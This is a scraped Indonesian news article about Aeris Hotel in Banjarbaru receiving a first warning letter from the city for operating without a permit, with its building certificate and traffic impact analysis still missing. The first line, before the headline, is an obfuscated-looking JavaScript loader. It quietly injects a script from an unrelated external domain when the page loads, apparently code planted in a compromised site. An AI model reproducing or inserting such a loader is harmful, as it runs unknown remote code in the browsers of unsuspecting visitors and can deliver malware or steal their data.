(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Aeris Hotel Banjarbaru Diberi SP 1, SLF dan Andalalin Belum Lengkap


KANALKALIMANTAN.COM, BANJARBARU – Tak miliki izin operasional, Hotel Aeris di Jalan Panglima Batur mendapat Surat Peringatan Pertama (SP 1) dari Pemerintah Kota (Pemko) Banjarbaru.

Pemeriksaan langsung petugas Dinas  Dinas Pemuda dan Olahraga, Kebudayaan dan Pariwisata (Disporabudpar) Banjarbaru dan Satpol PP Banjarbaru pada Jum’at (24/5/2024) malam, membuktikan dugaan izin operasional hotel yang belum dikantongi pihak manajemen Aeris Hotel.

Dimana sejak melakukan soft opening pada Rabu 22 Mei 2024 kemarin, Aeris Hotel sudah beroperasional dengan kedatangan sejumlah tamu pengunjung.

Baca juga: Izin Operasional Aeris Hotel Belum Ada, Disporabudpar Banjarbaru Dapati Tamu Nginap

Terkait langkah selanjutnya dengan adanya aktivitas operasional di hotel tersebut, Denny meminta arahan dari Disporabudpar (Pemko Banjarbaru, red) selalu pemegang izin operasional.

Rencananya, Disporabudpar Kota Banjarbaru memanggil manajemen Aeris Hotel ke kantor pada pada hari Senin (27/5/2024).

Kadisporabudpar Banjarbaru, Ahmad Yani Makkie yang memimpin sidak, mengatakan, Pemko Banjarbaru langsung meberikan Surat Peringatan Pertama (SP 1).

“Kami hari ini memberikan surat peringatan atau teguran pertama, dan hari Senin yang akan datang mereka akan kita panggil ke kantor untuk mengklarifikasi apa kekurangan dari mereka,” kata Kadisporabudpar Banjarbaru.

Baca juga: Jaya Dekati PAN, Upaya Mengulang Koalisi di Pilwali Banjarbaru

Lebih lanjut disebutkannya, beberapa dokumen yang belum dilengkapi pihak hotel untuk izin operasional di antaranya Sertifikat Laik Fungsi (SLF) dan Analisis Dampak Lalu Lintas (Andalalin).

Sekadar diketahui, SLF bangunan gedung adalah sertifikat yang diberikan oleh Pemko Banjarbaru untuk menyatakan kelaikan fungsi bangunan gedung sebelum dapat dimanfaatkan.

Kemudian pihak Aeris Hotel juga diminta kembali menyampaikan Andalalin (Analisis Dampak Lalu Lintas) yang menyatakan adanya penambahan lahan parkir.

Perlu diketahui, Andalalin adalah serangkaian kegiatan kajian mengenai dampak lalu lintas dari pembangunan pusat kegiatan, permukiman, dan infrastruktur yang hasilnya dituangkan dalam bentuk dokumen hasil analisis dampak lalu lintas.

“Karena ada perbaikan dari Andalalin yang sebelumnya dikeluarkan tahun 2019, seperti ada catatan lagi, apabila mereka membuat parkir tambahan mereka harus izin ke Dinas Perhubungan,” jelas Yani Makkie.

Baca juga: Lima Rumah Terbakar di Pekapuran Laut, Motor Matic Ikut Hangus

Lebih jauh Yani Makkie memastikan Aeris Hotel memang belum mengantongi izin operasional yang dikeluarkan oleh Disporabudpar Kota Banjarbaru.

“Belum ada izin operasional, gak boleh dan jangan coba-coba menerima tamu, kita lihat hari Senin nanti,” tandas Yani.

Sementara itu, Denny, Manager Aeris Hotel mengatakan, tamu yang datang adalah rekan-rekan hingga relasi terdekat dalam rangka menikmati tawaran promosi pada masa soft opening hotel tersebut.

“Rencana memang dilakukan untuk rekan-rekan kita relasi, sehingga tahu error-nya kita seperti apa, jadi promosi lah yang kita lakukan hingga saat ini, sembari  melengkapi kekurangannya untuk kesiapan nanti di grand opening,” jelas Denny.

Manager Aeris Hotel, Denny. Foto: wanda

Baca juga: Naik Kano di Danau Seran Banjarbaru, Rekomendasi View Spot Foto Estetik

Denny mengakui memang sejumlah persyaratan ada yang sudah dilengkapi dan ada yang juga masih dalam proses pembuatan.

Salah satu yang sudah dilengkapi seperti izin Upaya Pengelolaan Lingkungan dan Upaya Pemantauan Lingkungan (UKL/UPL).

“Sejak dari awal pembangunan, UKL/UPL dibuat dan sudah kita pertimbangkan untuk tidak ada penutupan daerah drainasenya,” ungkapnya.

Sedangkan untuk Andalalin, pihak hotel mengaku telah memiliki lahan untuk dijadikan tempat parkir yang sesuai aturan. Manajemen hotel memastikan tidak menganggu lalu lintas dan sesuai arah.

“Alhamdulillah kita disupport dengan orang-orang di sebelah, ada RT dan masyarakat lainnya. Pastinya tidak menganggu lalu lintas, arusnya pun tidak melawan saat keluar atau masuk hotel, sesuai dengan rute,” jelas Denny. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Risa

Recent Posts

DPKP Kabupaten Banjar Laksanakan Forum Perangkat Daerah

KANALKALIMANTAN.COM, MARTAPURA – Dinas Pemadam Kebakaran dan Penyelamatan (DPKP) Kabupaten Banjar menggelar Forum Perangkat Daerah… Read More

11 jam ago

Hj Siti Saniah Ditetapkan sebagai Ibunda Guru Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Ketua Tim Penggerak PKK Kabupaten Kapuas Hj Siti Saniah secara resmi… Read More

13 jam ago

Insentif 391 Guru Honorer di HSU Telat Dibayar, Begini Penjelasan Plt Kabag Prokopim

KANALKALIMANTAN.COM, AMUNTAI - Pelaksana Tugas (Plt) Kepala Bagian Protokol dan Komunikasi Pimpinan (Prokopim) Setda Kabupaten… Read More

13 jam ago

Konferensi Kabupaten PGRI Kapuas Masa Bakti XXIII, Ini Pesan Bupati Wiyatno

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno membuka Konferensi Kabupaten Persatuan Guru Republik… Read More

14 jam ago

Wabup Banjar Hadiri Musrenbang RKPD Provinsi Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Wakil Bupati Banjar Habib Idrus Al Habsyi mengikuti Musyawarah Perencanaan Pembangunan (Musrenbang)… Read More

15 jam ago

Ikuti Rapat Paripurna, Wabup Banjar Bacakan 2 Raperda

KANALKALIMANTAN.COM, MARTAPURA - Rapat paripurna dengan agenda Penyampaian Bupati atas Raperda tentang Penyelenggaraan Perhubungan dan… Read More

16 jam ago